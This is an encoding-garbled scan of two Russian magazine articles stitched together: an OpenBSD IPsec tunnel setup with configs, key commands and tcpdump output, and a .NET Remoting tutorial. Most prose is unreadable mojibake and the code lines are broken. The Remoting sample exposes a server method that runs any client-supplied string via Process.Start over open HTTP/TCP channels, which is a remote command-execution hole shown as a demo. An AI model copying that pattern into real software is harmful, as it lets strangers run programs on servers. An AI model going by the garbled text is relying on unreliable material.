pass out on $enc_if inet from $int_if:network to $vpn_client

institut# vi /etc/ipsec/rc.vpn

/* Â îòëàäî÷íîì ðåæèìå êîìàíäû âûâîäÿòñÿ íà ýêðàí áåç èñïîëíåíèÿ,

êîììåíòèðóåì */

#DEBUG=echo

/* IP-àäðåñà ëîêàëüíîãî è óäàëåííîãî êîìïüþòåðîâ */

GW_LOCAL=81.211.11.11

GW_REMOTE=81.211.22.22

/* Óêàçûâàåì CIDR-íîòàöèè íàøèõ ïîäñåòåé */

LOCAL_NETWORKS="192.168.1.0/24"

REMOTE_NETWORKS="192.168.2.0/24"

/* Âûáðàííûå ìåòîäû øèôðîâàíèÿ è àóòåíòèôèêàöèè */

ENC=3des

AUTH=sha1

/* Ñïåöèàëüíûå èíäåêñû ïàðàìåòðîâ áåçîïàñíîñòè äëÿ ñîçäàíèÿ òóííåëÿ */

SPI_OUT=1000

SPI_IN=1001

/* Àáñîëþòíûå ïóòè ê ôàéëàì ñ êëþ÷àìè */

KEYFILE=/etc/ipsec/esp-enc-key

AUTHKEYFILE=/etc/ipsec/esp-auth-key

Çàïðîñ ïåðå÷íÿ äåéñòâóþùèõ IPSec-òóííåëåé è àêòèâíûõ çàïèñåé â SADB

# ipsecctl -s all

FLOWS:

flow esp in from 192.168.2.2 to 0.0.0.0/0 peer 192.168.2.2 srcid 192.168.2.1/32

dstid 192.168.2.2/32 type use

flow esp out from 0.0.0.0/0 to 192.168.2.2 peer 192.168.2.2 srcid 192.168.2.1/32

dstid 192.168.2.2/32 type require

SAD:

esp tunnel from 192.168.2.1 to 192.168.2.2 spi 0x0ebbadc6 auth hmac-sha1 enc aes \

authkey 0xfd16f0b81db91b0774925454d42d55976ecabc8a \

enckey 0xdff666aeb0427784cdf72603a1029fe7

esp tunnel from 192.168.2.2 to 192.168.2.1 spi 0xc7163b7e auth hmac-sha1 enc aes \

authkey 0x263e372620e0eb1b5c72f189e009c8896c90c9be \

enckey 0x6db690dc6b158e32e484705ee7db47ce

(2)

(3)

(4)



Â êà÷åñòâå àëüòåðíàòèâû ìîæíî âîñïîëüçîâàòüñÿ
ïðîãðàììàìè ipsecpol.exe/ipseccmd.exe (èç êîìïëåê-
òà Win2k/WinXP Support Tools), SSH Sentinel, TheGre-
enBow VPN Client, ëèáî SafeNet SoftRemoteLT. 

ïðîíèêíîâåíèå ââ èíñòèòóòñêóþ ññåòü. Êàê âà-
ðèàíò, ìîæíî îòêàçàòüñÿ îò èñïîëüçîâàíèÿ isakm-
pd è ïîñìîòðåòü â ñòîðîíó ipsecadm(8) — ïðîãðàì-
ìû óïðàâëåíèÿ çàùèùåííûìè ñîåäèíåíèÿìè. ×òî-
áû ïðîâåðèòü åå ðàáîòó â äåéñòâèè, ðàññìîòðèì
ñöåíàðèé, êîãäà è íà èíñòèòóòñêîì, è íà äîìàøíåì
ñåðâåðå óñòàíîâëåíà *BSD.

Ñìîòðè íà ñõåìó 2. Ïîñëåäîâàòåëüíî ñîçäà-
åøü äâà êëþ÷à: îäèí äëÿ øèôðîâàíèÿ òðàôèêà
(3DES, 192 bit), äðóãîé — äëÿ àóòåíòèôèêàöèè
(SHA1, 160 bit).

# mkdir -m 700 /etc/ipsec

# openssl rand 24 | hexdump -e '24/1

"%02x"' > /etc/ipsec/esp-enc-key

# openssl rand 20 | hexdump -e '20/1

"%02x"' > /etc/ipsec/esp-auth-key

# chmod 600 /etc/ipsec/esp-*-key

Äàëåå, ìîæíî âîñïîëüçîâàòüñÿ øàáëîíîì èç êàòà-
ëîãà /usr/share/ipsec (ñìîòðè ëèñòèíã 3):

# cp /usr/share/ipsec/rc.vpn

/etc/ipsec/rc.vpn

Íà ñòîðîíå äîìàøíåãî ñåðâåðà ñêðèïò áóäåò âûã-
ëÿäåòü ñ ìèíèìàëüíûìè ïðàâêàìè:

#DEBUG=echo

GW_LOCAL=81.211.22.22

GW_REMOTE=81.211.11.11

LOCAL_NETWORKS="192.168.2.0/24"

REMOTE_NETWORKS="192.168.1.0/24"

ENC=3des

AUTH=sha1

# Âíèìàíèå: çäåñü çíà÷åíèÿ SPI-èíäåêñîâ

ìåíÿþòñÿ ìåñòàìè

SPI_OUT=1001

SPI_IN=1000

KEYFILE=/etc/ipsec/esp-enc-key

AUTHKEYFILE=/etc/ipsec/esp-auth-key

Ïîñëå òîãî, êàê ñ ïîìîùüþ ïðîãðàììû áåçîïàñ-
íîãî êîïèðîâàíèÿ scp (8) êëþ÷è /etc/ipsec/esp-enc-
key è /etc/ipsec/esp-auth-key áóäóò ïåðåäàíû êëè-
åíòó, îñòàíåòñÿ òîëüêî çàïóñòèòü rc.vpn íà êàæ-
äîì èç õîñòîâ:

institut# sh /etc/ipsec/rc.vpn

home# sh /etc/ipsec/rc.vpn

óïðàâëåíèå êêðèïòîïîòîêàìè. ×òîáû çàïðî-
ñèòü ó ÿäðà îïåðàöèîííîé ñèñòåìû ïåðå÷åíü
äåéñòâóþùèõ IPSec-òóííåëåé è àêòèâíûõ çàïèñåé
â áàçå SADB (Security Association Database — áàçà
äàííûõ çàùèùåííûõ ñîåäèíåíèé), ìîæíî âîñïîëü-
çîâàòüñÿ øòàòíîé óòèëèòîé ipsecctl (8) (ñìîòðè ëèñ-
òèíã 4). Ïîëó÷èòü òàáëèöó ìàðøðóòèçàöèè äëÿ èí-
êàïñóëèðîâàííûõ ñîåäèíåíèé ìîæíî ñ ïîìîùüþ
netstat (1) (ñìîòðè ëèñòèíã 5). Äëÿ óäàëåíèÿ âñåõ
IPSec-ïîòîêîâ âûïîëíè êîìàíäó:

# ipsecadm flush

ïðîñëóøèâàåì ççàøèôðîâàííûå ääàííûå.
Ïñåâäîóñòðîéñòâî enc (4) ïðåäñòàâëÿåò ñîáîé ñïå-
öèàëüíûé èíòåðôåéñ îáðàòíîé ïåòëè, ïîçâîëÿþ-
ùèé ïðîèçâîäèòü ôèëüòðàöèþ IPSec-òðàôèêà
è ïðîñìàòðèâàòü ïðîõîæäåíèå âõîäÿùèõ/èñõîäÿ-
ùèõ ïàêåòîâ ïåðåä òåì, êàê îíè ïîïàäóò âî âëàñòü
ESP- è AH-ïðîòîêîëîâ. Äëÿ âûïîëíåíèÿ ýòîé îïå-
ðàöèè íåîáõîäèìî îáëàäàòü ïðàâàìè ñóïåðïîëü-
çîâàòåëÿ (ñìîòðè ëèñòèíã 6). Íåñîîòâåòñòâèå êîíò-
ðîëüíûõ ñóìì âðîäå «bad cksum 0!» íå äîëæíî òå-
áÿ ñìóùàòü, òàê êàê ïðîñëóøèâàíèå — íà ïñåâäî-
èíòåðôåéñå. À òî, ÷òî ìû óâèäèì íà âíóòðåííåì
ñåòåâîì èíòåðôåéñå ral0, ñìîòðè â ëèñòèíãå 7.

âìåñòî ïïîñòñêðèïòóìà. Òàêèì îáðàçîì, ïðè-
âåäåííàÿ ñõåìà ðàáîòû â ñî÷åòàíèè ñ àóòåíòèôè-
êàöèîííûì øëþçîì è ïîëóïðîçðà÷íûì ìîñòîì,
âûïîëíÿþùèì ôèëüòðàöèþ íà îñíîâå IP- è MAC-
àäðåñîâ, ñîñëóæèò òåáå õîðîøóþ ñëóæáó, åñëè
íàäóìàåøü âñåðüåç çàíÿòüñÿ îáåñïå÷åíèåì çàùè-
òû ñåòåâîãî òðàôèêà ïðîâîäíîãî èëè áåñïðîâîä-
íîãî WinXP-êëèåíòà. È, ÷òî ñàìîå ïðèÿòíîå, âåðî-
ÿòíîñòü óòå÷êè êîíôèäåíöèàëüíîé èíôîðìàöèè
ïðè ïåðåäà÷å äàííûõ óæå èñêëþ÷åíà
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Òàáëèöà ìàðøðóòèçàöèè äëÿ èíêàïñóëèðîâàííûõ ñîåäèíåíèé

% netstat -nr -f encap

Routing tables

Encap:

Source Port Destination Port Proto SA(Address/Proto/Type/Direction)

192.168.2.2/32 0 default 0 0 192.168.2.2/esp/use/in

default 0 192.168.2.2/32 0 0 192.168.2.2/esp/require/out

Ïðîñëóøèâàíèå íà ïñåâäîèíòåðôåéñå

# tcpdump -netttvvi enc0

tcpdump: WARNING: enc0: no IPv4 address assigned

tcpdump: listening on enc0, link-type ENC

Sep 20 22:49:51.844143 (authentic,confidential): SPI 0xc7163b7e: 192.168.2.2 >

192.168.2.1: 192.168.2.2.1452 > 192.

168.2.1.22: . [tcp sum ok] 1696328699:1696328699(0) ack 749361456 win 16560 (DF)

(ttl 128, id 43693, len 40) (ttl 128, 

id 43693, len 60)

Sep 20 22:49:51.862522 (authentic,confidential): SPI 0x0ebbadc6: 192.168.2.1 >

192.168.2.2: 192.168.2.1.22 > 192.168.2.2.

1452: P 1:85(84) ack 0 win 17640 [tos 0x10] (ttl 64, id 29061, len 124) [tos 0x10]

(ttl 64, id 21941, len 144, bad cksum 0! differs by 9f51)

Ïðîñëóøèâàíèå íà âíóòðåííåì ñåòåâîì èíòåðôåéñå

# tcpdump -y ieee802_11_radio -eni ral0

tcpdump: listening on ral0, link-type IEEE802_11_RADIO

22:51:32.024954 0:d:61:7a:4b:12 > 0:13:2:95:be:9c, bssid 0:d:61:7a:4b:12, DS >:

802.11: data: truncated-ip — 90 bytes missing!esp 

192.168.2.1 > 192.168.2.2 spi 0x0EBBADC6 seq 257 len 74 [tos 0x10], <radiotap v0,

chan 11, 11g>

22:51:32.025841 0:d:61:7a:4b:12 > 0:13:2:95:be:9c, bssid 0:d:61:7a:4b:12, DS >:

802.11: data: truncated-ip — 74 bytes missing!esp 

192.168.2.1 > 192.168.2.2 spi 0x0EBBADC6 seq 258 len 74 [tos 0x10], <radiotap v0,

chan 11, 11g>

(5)

(6)

(7)

Ñõåìà 2

Ñåòü
192.168.2.0/24

Ñåòü
192.168.1.0/24

Äîìàøíèé
ñåðâåð

81.211.22.22

Èíñòèòóòñêèé
ñåðâåð

81.211.11.11

internet ipsec



Òåõíîëîãèÿ .NET Remoting ïðåäñòàâëÿåò ñîáîé ðå-
àëèçàöèþ ðàíåå íå äîêóìåíòèðîâàííûõ âîçìîæ-
íîñòåé êàíàëîâ (channels), ñóùåñòâóþùèõ äëÿ âçà-
èìîäåéñòâèÿ ïðèëîæåíèé. Áëàãîäàðÿ äàííîé òåõ-
íîëîãèè ïðîãðàììà ìîæåò óäàëåííî îáðàùàòüñÿ
ê îáúåêòàì èç äðóãîãî äîìåíà ïðèëîæåíèé è äàæå
ñîçäàâàòü ýòè îáúåêòû â äèíàìè÷åñêîé ïàìÿòè
ñâîåãî äîìåíà. Îáî âñåõ ïëþñàõ è ìèíóñàõ, áðîíå-
áîéíîñòè è óÿçâèìîñòÿõ .NET Remoting ïîéäåò
ðå÷ü â ýòîé ñòàòüå.

àðõèòåêòóðà êêàíàëîâ ..NET RRemoting. ×åì
ïðèíöèïèàëüíî îíà îòëè÷àåòñÿ îò ïðèâû÷íîé
òåõíîëîãèè ñîêåòîâ? Âî-ïåðâûõ, îíà îñíîâûâà-
åòñÿ íå íà îäíîì, à íà íåñêîëüêèõ ïðîòîêîëàõ
ñðàçó (åñëè ïðè ñîçäàíèè ñîêåòà âûáèðàåòñÿ îä-
íè ïðîòîêîë, íàïðèìåð, tcp èëè udp, òîëüêî åãî è
áóäåò þçàòü). Ïðè ðàáîòå æå ñ .NET Remoting
ñîçäàåòñÿ íàáîð êàíàëîâ íà êàæäûé ïðîòîêîë,
èñïîëüçóåìûé ïðèëîæåíèåì. ×åðåç êàíàëû
ìîæíî ïåðåäàâàòü ëþáóþ èíôîðìàöèþ, áóäü òî

òåêñò èëè ôàéëû, íî ñàìûì ãëàâíûì íîâîââåäå-
íèåì ÿâëÿåòñÿ òî, ÷òî ÷åðåç êàíàëû ìîæíî ïåðå-
äàâàòü ïðîãðàììíûé êîä. Íàïðèìåð, Ïðîãðàì-
ìà 1, íàõîäÿùàÿñÿ â äîìåíå Ïðèëîæåíèÿ À, õî-
÷åò âûïîëíèòü êàêîé-òî áëîê êîäà, êîòîðîãî
ó íåå íåò, íî îí åñòü ó Ïðîãðàììû 2, êîòîðàÿ íà-
õîäèòñÿ â äîìåíå Ïðèëîæåíèÿ Á èëè âîîáùå íà
äðóãîì êîìïüþòåðå ñåòè. 

Ðàíüøå äîêîìïèëÿöèÿ êîäà áûëà íåðåàëü-
íîé çàäà÷åé, à òåïåðü ìîæíî ïåðåäàâàòü ëþáûå
îáúåêòû ïî ñåòè, íà÷èíàÿ îò ïðîñòûõ è çàêàí÷èâàÿ
öåëûìè êëàññàìè è äèíàìè÷åñêèìè ñáîðêàìè.
Â íàøåì ñëó÷àå Ïðîãðàììà 1 îáðàòèòñÿ ê Ïðîã-
ðàììå 2 ÷åðåç Êàíàë À è ïîïðîñèò åå ïåðåñëàòü åé
íóæíûé îáúåêò ÷åðåç Êàíàë Á. Ïîëó÷èâ îáúåêò,
ïðîãðàììà ìîæåò ðàáîòàòü ñ íèì, âûïîëíÿòü åãî
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ìåòîäû è çàïîëíÿòü åãî ñâîéñòâà è ïàðàìåòðû.
Â .NET Framework 2.0 ðåàëèçîâàíî 4 êàíàëà:
tcp-channel, http-channel, ipc-channel è IChannel.
Ïîñëåäíèé ÿâëÿåòñÿ àáñòðàêòíûì êëàññîì è ñó-
ùåñòâóåò äëÿ òîãî, ÷òîáû ïðîãðàììèñòû ìîãëè
ñîçäàâàòü êàíàëû íà îñíîâå äðóãèõ ïðîòîêîëîâ.
Êàíàëû ìîãó âçàèìîçàìåíÿòüñÿ, áëàãîäàðÿ ÷åìó
çíà÷èòåëüíî ïîâûøàåòñÿ áåçîïàñíîñòü. Äëÿ òîãî
÷òîáû ïðèëîæåíèÿ íå ïåðåïóòàëè ïðèíöèï ïåðå-
äà÷è äàííûõ è ôîðìàò ïðèñûëàåìûõ äàííûõ, ñó-
ùåñòâóåò ôîðìàòèðîâùèê, êîòîðûé òàêæå îïðå-
äåëÿåò çàùèùåííîñòü êàíàëà. Ôîðìàòèðîâùèêè
áûâàþò äâóõ òèïîâ: áèíàðíûå ôîðìàòèðîâùèêè è
SOAP-ôîðìàòèðîâùèêè. Äëÿ òîãî ÷òîáû ïðèñîå-
äèíèòü ôîðìàòèðîâùèê ê êàíàëó, èñïîëüçóþòñÿ
ïðîâàéäåðû ôîðìàòèðîâùèêà äëÿ êàæäîãî òèïà
ïðîòîêîëà. Îäíèìè èç ñàìûõ âàæíûõ àñïåêòîâ àð-
õèòåêòóðû .NET Remoting ÿâëÿåòñÿ ïðîêñè-îáúåêò
è àêòèâàòîð îáúåêòà (äëÿ íèõ ðåàëèçîâàíû êëàñ-
ñû). Ïðîêñè-îáúåêòû ïðåäíàçíà÷åíû äëÿ óäàëåí-
íîãî âûçîâà ìåòîäîâ èç äðóãîãî äîìåíà ïðèëîæå-
íèÿ, è îíè áûâàþò äâóõ òèïîâ: ðåàëüíûå è ïðîç-
ðà÷íûå. Ðåàëüíûé ïðîêñè íàõîäèòñÿ â óäàëåííîì
ïðèëîæåíèè, à ïðîçðà÷íûé ïðîêñè — â ïðèëîæå-
íèè-ïðèåìíèêå è âûçûâàåò ìåòîäû ÷åðåç ðåàëü-
íûé ïðîêñè-îáúåêò. Àêòèâàòîð îáúåêòîâ ïðåäíàç-
íà÷åí äëÿ ïîëó÷åíèÿ ñïèñêà ïðîêñè-îáúåêòîâ
â ïðîãðàììå-äîíàðå è äëÿ ïîñëåäóþùåãî ñîçäà-
íèÿ óäàëåííîãî îáúåêòà â ïðîãðàììå-ïðèåìíèêå.
Òàêæå äëÿ íàñòðîéêè òàêîãî êîëè÷åñòâà îáúåêòîâ
ðåàëèçîâàí ñïåöèàëüíûé êëàññ Remoting-
Configuration, èìåþùèé äîñòóï êî âñåì ñâîéñòâàì
îáúåêòîâ. Äëÿ ðàáîòû ñ òåõíîëîãèåé .NET Remo-
ting èñïîëüçóåòñÿ ïðîñòðàíñòâî èìåí System.Run-
time.Remoting. Åñòåñòâåííî, ïðè ïåðåäà÷å äàííûõ
íåëüçÿ çàáûâàòü î áåçîïàñíîñòè òàêîãî ñîåäèíå-
íèÿ. Äàëåå ÿ ðàññêàæó, êàê âòîðãíóòüñÿ â óäàëåí-
íûé êàíàë è êàê çàùèòèòü ñâîå ïðèëîæåíèå îò
âòîðæåíèé â êàíàëû (â ïðîñòðàíñòâå èìåí
S y s t e m . R u n t i m e . R e m o t i n g .
Channels åñòü êëàññû äëÿ îáåñïå÷åíèÿ áåçîïàñ-
íîñòè ñîåäèíåíèé). Åùå îäíîé âîçìîæíîñòüþ

.NET Remoting ÿâëÿåòñÿ ñïîñîáíîñòü óïðàâëåíèÿ
âðåìåíåì æèçíè îáúåêòîâ, ïåðåäàííûõ â óäàëåí-
íîå ïðèëîæåíèå (äëÿ ýòîãî ñóùåñòâóåò ïðîñòðàí-
ñòâî èìåí System.Runtime.Remoting.Lifetime). Ïîñ-
ëå òàêîãî ìîçãîâîãî øòóðìà ïåðåéäåì ê ïðèìåðó,
äåìîíñòðèðóþùåìó òåõíîëîãèþ .NET Remoting.

ðåàëèçàöèÿ ïïðèìåðà ââçàèìîäåéñòâèÿ. Âñïîì-
íèì íàø àáñòðàêòíûé ïðèìåð ñ Ïðîãðàììîé 1 è
Ïðîãðàììîé 2. Òàê ñìîäåëèðóåì æå ïîäîáíóþ ñè-
òóàöèþ! Íàïðèìåð, Ïðîãðàììå 1 ïîòðåáóåòñÿ çà-
ïóñòèòü ïðîöåññ, íî îíà íå áóäåò óìåòü ýòî äåëàòü,
à Ïðîãðàììà 2 ïåðåøëåò åé äëÿ çàïóñêà ïðîöåññà
÷åðåç êàíàë êëàññ, õðàíÿùèéñÿ â ñáîðêå. Êàçàëîñü
áû, ìîæíî ïðèñòóïàòü ê íàïèñàíèþ êîäà, íî òóò ÿ íå
ìîãó íå óïîìÿíóòü ïðî ìàëåíüêèé «ïðèÿòíûé»
ñþðïðèç îò ãîñïîä èç Ìàéêðîñîôòà. Âî âðåìÿ ñîç-
äàíèÿ ïëàòôîðìû .NET Framework ñèñòåìà êàíà-
ëîâ áûëà íåäîêóìåíòèðîâàííîé. Ïîçæå, âî âðåìÿ
âûïóñêà Visual Studio 2003, êàíàëû äîêóìåíòèðîâà-
ëè, è â íåé ìîæíî áûëî èñïîëüçîâàòü ïðîñòðàíñòâà
èìåí System.Runtime.Remoting.Channels.Tcp, Sys-
tem.Runtime.Remoting.Channels.Http è System.-
Runtime.Remoting.Channels.Ipc. Èñïîëüçóÿ ýòè êëàñ-
ñû ìîæíî áûëî íàïðÿìóþ ñôîðìèðîâàòü êàíàë
è îòêðûòü åãî. Îäíàêî èç-çà êàêèõ-òî ãëþêîâ èëè
íåäîðàáîòîê â Visual Studio 2005 ñèñòåìó êàíàëîâ
õîòåëè ñíîâà ñäåëàòü íåäîêóìåíòèðîâàííîé, íî ðå-
øèëè, ÷òî ýòî íå áóäåò ñïîñîáñòâîâàòü ïðîäàæàì
íîâîé ñòóäèè è ïðîñòî óáðàëè âûøåïåðå÷èñëåííûå
ïðîñòðàíñòâà èìåí. Êàê âñåãäà, â MS æãóò. Òåïåðü
ðàáîòàòü íàïðÿìóþ ñ êëàññàìè Channels.Tcp, Chan-

Áðîíåáîéíûé êîíôèã äëÿ ñåðâåðà

<configuration>

<system.runtime.remoting>

<application>

<service>

<wellknown mode="Singleton" type="NetRemooting_Real.NRR, NetRemooting_Real"  

objectUri="RemoteObjectPort" />

</service>

<channels>

<channel ref="http" port="5000" secure="true" protectionLevel="EncryptAndSign"

impersonate="true" TokenImpersonationLevel="Impersonation">

<serverProviders>

<!--Âîò òóò ìîæíî çàäàòü êàêèå-íèáóäü ìîäíûå ïàðàìåòðû ñåðâåðà-->

</serverProviders>

</channel>

<channel ref="tcp" port="5001" secure="true" protectionLevel="EncryptAndSign"

impersonate="true" TokenImpersonationLevel="Impersonation">

<serverProviders>

<!--Âîò òóò ìîæíî çàäàòü êàêèå-íèáóäü ìîäíûå ïàðàìåòðû ñåðâåðà-->

</serverProviders>

</channel>

<channel ref="ipc" portName="myIPCPort" secure="true"

protectionLevel="EncryptAndSign" impersonate="true"

TokenImpersonationLevel="Impersonation">

<serverProviders>

<!--Âîò òóò ìîæíî çàäàòü êàêèå-íèáóäü ìîäíûå ïàðàìåòðû ñåðâåðà-->

</serverProviders>

</channel>

</channels>

</application>

</system.runtime.remoting>

</configuration>

(1)

Óäà÷íî ïåðåñëàëè êëàññ íà ñåðâåð



nels.Http è Channels.Ipc íåâîçìîæî, íî åùå íèêòî íå
îòìåíÿë çàãðóçêó ÷åðåç ôàéëû êîíôèãóðàöèè!
Â íàøåì ïðîåêòå ìû áóäåì èñïîëüçîâàòü êîíôèãó-
ðàöèþ êëèåíòà è ñåðâåðà ÷åðåç xml-ôàéëû.

Ðàññìîòðèì ïîäîïûòíóþ ìîäåëü. Ñíà÷àëà
ìû íàïèøåì êëàññ, èç êîòîðîãî ïðîãðàììà áóäåò
áðàòü îáúåêò è ïåðåñûëàòü åãî äðóãîé ïðîãðàììå.
Äàëåå ìû íàïèøåì ïðîãðàììó, êîòîðàÿ áóäåò ñîç-
äàâàòü êàíàëû è îæèäàòü âõîäÿùåãî îáúåêòà ïî
http-êàíàëó (óñëîâíî åå ìîæíî íàçâàòü ñåðâåðîì).
Â çàâåðøåíèå ìû íàïèøåì êëèåíò, êîòîðûé áóäåò
ïåðåäàâàòü ñåðâåðó êëàññ äëÿ ïîñëåäóþùåé ðàáî-
òû. Ïåðåéäåì ê ïðîãðàììèðîâàíèþ.

ïèøåì êêëàññ. Íàø êëàññ áóäåò äîâîëüíî òðè-
âèàëåí, ïîñêîëüêó ñîäåðæàòü îí áóäåò òîëüêî îäèí
ìåòîä äëÿ çàïóñêà ïðèëîæåíèé. Ñîçäàåì ïðîåêò
Class Library è ïèøåì êëàññ NETRemoting_Real.
Ïðè íàïèñàíèè êîäà îáÿçàòåëüíî ñëåäóåò óêàçàòü,
÷òî èç ýòîãî êëàññà ìîæíî áðàòü îáúåêòû. Ýòî
ìîæíî ñäåëàòü, äîáàâèâ â ïåðåäàâàåìûå êëàññû
System.MarshalByRefObject, äëÿ ÷åãî íóæíî èñ-
ïîëüçîâàòü ïðîñòðàíñòâî èìåí System.Runtime.-
Remoting.Messaging. Â ðåçóëüòàòå îñòàåòñÿ òîëüêî
äîáàâèòü ìåòîä äëÿ çàïóñêà ïðîöåññà ìåòîäîì
Process.Start(). Â èòîãå ïîëó÷èì âîò òàêîé êîä:

êëàññ, êêîòîðûé ááóäåò ïïåðåäàâàòüñÿ ïïî ññåòè
public class NRR :

System.MarshalByRefObject

//äåëàåì êëàññ ïåðåäàâàåìûì

{

public NRR()

{

Console.WriteLine( "Remote using

NRR Class" );

//ñîçäàåì êîíñòðóêòîð êëàññà

}

public string Show(string msg)

//ìåòîä, êîòîðûé ìû áóäåì ïåðåäàâàòü

{

Console.WriteLine( "Client Alert: "

+ msg );

//ñòðîêà, êîòîðàÿ áóäåò âûâåäåíà 

íà ñåðâåðå

Process.Start(msg);

//êîìàíäà, êîòîðàÿ áóäåò

âûïîëíåíà íà ñåðâåðå

return msg + " is running";

//îòâåò ñåðâåðà

}

}

Òåïåðü íàïèøåì ïðîãðàììó, êîòîðàÿ áóäåò ïðèíè-
ìàòü êëàññ NRR è èñïîëüçîâàòü åãî ïî ñàìîìó ïðÿ-
ìîìó íàçíà÷åíèþ.

ïèøåì ññåðâåð. Ñîçäàåì êîíñîëüíûé ïðîåêò
è äîáàâëÿåì â íåãî ïðîñòðàíñòâî èìåí System.
Runtime.Remoting, à â ìåòîä main äîáàâëÿåì ñòðî-
êó Console.ReadLine(). Äëÿ ñîçäàíèÿ ñàìîãî ñåðâå-
ðà ìû áóäåì èñïîëüçîâàòü xml-ôàéë. ×òîáû áîëü-
øå íå âîçâðàùàòüñÿ ê êîäó ñåðâåðà, ñðàçó çàãðó-
çèì íàñòðîéêè:

RemotingConfiguration.Configure("ServerC

onf.xml");

Òåïåðü äîáàâèì â ïðîåêò xml-ôàéë, íàçîâåì åãî
ServerConf.xml è ïðèñòóïèì ê íàïèñàíèþ .NET
Remoting-êîíôèãà. ×òîáû âîéòè â êîíôèãóðàöèþ,
íóæíî èñïîëüçîâàòü òåãè <configuration> è <sys-
tem.runtime.remoting>. Ðàññìîòðèì ïðèìåð êîíôè-
ãóðàöèîííîãî ôàéëà:

êîíôèãóðàöèÿ ññåðâåðà
<configuration>

<system.runtime.remoting>

<application>
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<service>

<wellknown mode="Singleton"

type="NetRemoting_Real.NRR,

NetRemooting_Real"

objectUri="RemoteObjectPort" />

</service>

<channels>

<channel ref="http" port="5000">

<serverProviders>

<!--Âîò òóò ìîæíî çàäàòü êàêèå-íèáóäü

ìîäíûå ïàðàìåòðû ñåðâåðà-->

</serverProviders>

</channel>

<channel ref="tcp" port="5001">

<serverProviders>

<!--Âîò òóò ìîæíî çàäàòü êàêèå-íèáóäü

ìîäíûå ïàðàìåòðû ñåðâåðà-->

</serverProviders>

</channel>

<channel ref="ipc" portName="IPC">

<serverProviders>

<!--Âîò òóò ìîæíî çàäàòü êàêèå-íèáóäü

ìîäíûå ïàðàìåòðû ñåðâåðà-->

</serverProviders>

</channel>

</channels>

</application>

</system.runtime.remoting>

</configuration>

Â íà÷àëå ìû ñîçäàåì ñåðâèñ (ýòî äåéñòâèòåëü-
íî ñåðâèñ), ïîñêîëüêó ïðè ðàáîòå íàøåãî ñåðâå-
ðà ñðàáîòàåò ñèñòåìà çàùèòû Windows è ñïðî-
ñèò, çàáëîêèðîâàòü èëè ðàçáëîêèðîâàòü çàïó-
ùåííîå ïðèëîæåíèå. Òåã <wellknown> îïèñûâà-
åò òèï ïðèíèìàåìûõ äàííûõ, â íàøåì ñëó÷àå
ýòî êëàññ NetRemoting_Real.NRR. Âòîðûì ïàðà-
ìåòðîì ÿâëÿåòñÿ èìÿ ïðîñòðàíñòâà èìåí, êîòî-
ðîå áóäåò èñïîëüçîâàòü ðåàëüíûé ïðîêñè ïðè
âûçîâàõ ìåòîäà. 

Ïîñëå ýòîãî ìû ñâàðãàíèì òðè êàíàëà äëÿ êàæ-
äîãî èç ïðîòîêîëîâ, à èñïîëüçóÿ òåã <serverProviders>
ìîæíî óêàçàòü îñîáûå íàñòðîéêè êàíàëà. Íåêîòî-
ðûå íàñòðîéêè áåçîïàñíîñòè óêàçûâàþòñÿ â òåãå
<channel>, íî îá ýòîì ïîçæå. Ïîñëå çàãðóçêè òàêî-
ãî êîíôèãóðàöèîííîãî ôàéëà íàø ñåðâåð îòêðîåò
5000, 5001 è IPC ïîðò è áóäåò îæèäàòü ïðèåìà îáú-
åêòà. Ïàðàìåòð objectUri îïèñûâàåò àäðåñ, êóäà
êëèåíò áóäåò ïîñûëàòü îáúåêò (òî åñòü â íàøåì
ñëó÷àå ýòî áóäåò http://127.0.0.1/RemoteObjectPort
è telnet 127.0.0.1 5001). 

âàÿåì êêëèåíò. Âîò ìû è äîáðàëèñü äî êëèåí-
òà, êîòîðûé òîæå áóäåò ïðåäñòàâëÿòü ñîáîé êîí-
ñîëüíîå ïðèëîæåíèå. Ïîñëå ñîçäàíèÿ ïðîåêòà íàì

íàäî áóäåò äîáàâèòü â íåãî íàøó ñáîðêó ñ êëàññîì
RNN (÷òîáû ýòî ñäåëàòü, íàäî íàæàòü êíîïêó Add
Refference). Òåïåðü ñàìîå âàæíîå! ×òîáû îòïðà-
âèòü íàø êëàññ ïî ñåòè, íàì íàäî ñîçäàòü åãî íå
â ñàìîì íà÷àëå, êàê ýòî äåëàåòñÿ îáû÷íî

NRR Object = new NRR();

à ïîñëå òîãî êàê ìû ñîåäèíèìñÿ ñ ñåðâåðîì.
Òî åñòü êîä êëèåíòà äîëæåí âûãëÿäåòü âîò òàê:

ïðîãðàììà, ïïîñûëàþùàÿ êêëàññ ññåðâåðó
[STAThread]  //ñîçäàåì ïîòîê STA

static void Main(string[] args)

{

NRR TransferingObject;

//îáúÿâëÿåì îáúåêò, êîòîðûé áóäåì

ïåðåäàâàòü ÷åðåç êàíàë

RemotingConfiguration.Configure("ClientC

onf.xml", false);

//êîíôèãóðèðóåì êëèåíò

TransferingObject = new NRR();

//ïåðåäàåì îáúåêò

Console.WriteLine("Sending object

to remote server...\n w8");

Console.WriteLine(TransferingObject.Show

("notepad"));

//âûïîëíÿåì êîä íà ñåðâåðå

}

Íàñòðîèì .NET Remoting äëÿ êëèåíòà. Ìû áóäåì
ïèñàòü ClientConf.xml, ïðåäâàðèòåëüíî äîáàâèâ åãî
â ïðîåêò. Ðàññìîòðèì êîíôèãóðàöèþ êëèåíòà:

ôàéë êêîíôèãóðàöèè êêëèåíòà ..NET RRemoting
<configuration>

<system.runtime.remoting>

<application>

<client>

<wellknown type="NetRemooting_Real.NRR,

NetRemooting_Real"

url="http://localhost:5000/RemoteObject

Port" />

</client>

<channels>

<channel ref="http" port="0" />

<channel ref="tcp" port="10000"/>

</channels>

</application>

</system.runtime.remoting>

</configuration>

Â êîíôèãóðàöèè êëèåíòà ìû óêàçûâàåì àäðåñ ïîð-
òà äëÿ ïðèåìà îáúåêòîâ (â íàøåì âàðèàíòå ìû áó-
äåì ïåðåäàâàòü îáúåêò ÷åðåç http-ïðîòîêîë). Òàê-
æå ìû ñîçäàåì êàíàëû äëÿ îáùåíèÿ ñ äðóãèìè
ïðèëîæåíèÿìè. Âîçìîæíî, ó ÷èòàòåëÿ âîçíèê âîï-
ðîñ: «Ïî÷åìó ïîðòû êàíàëîâ ñåðâåðà è êëèåíòà
ðàçíûå?». Ïîòîìó ÷òî ýòî íå ñîåäèíåíèÿ ñîêåòîâ,
à êàíàëû, è îíè òîëüêî ïðèíèìàþò äàííûå, à äëÿ
îòïðàâêè äàííûõ ìû èñïîëüçóåì òåã <client>. 

Áåçîïàñòíîñòü
ïëàòôîðìû .. NNet
Áåçóñëîâíî, ïëàòôîð-
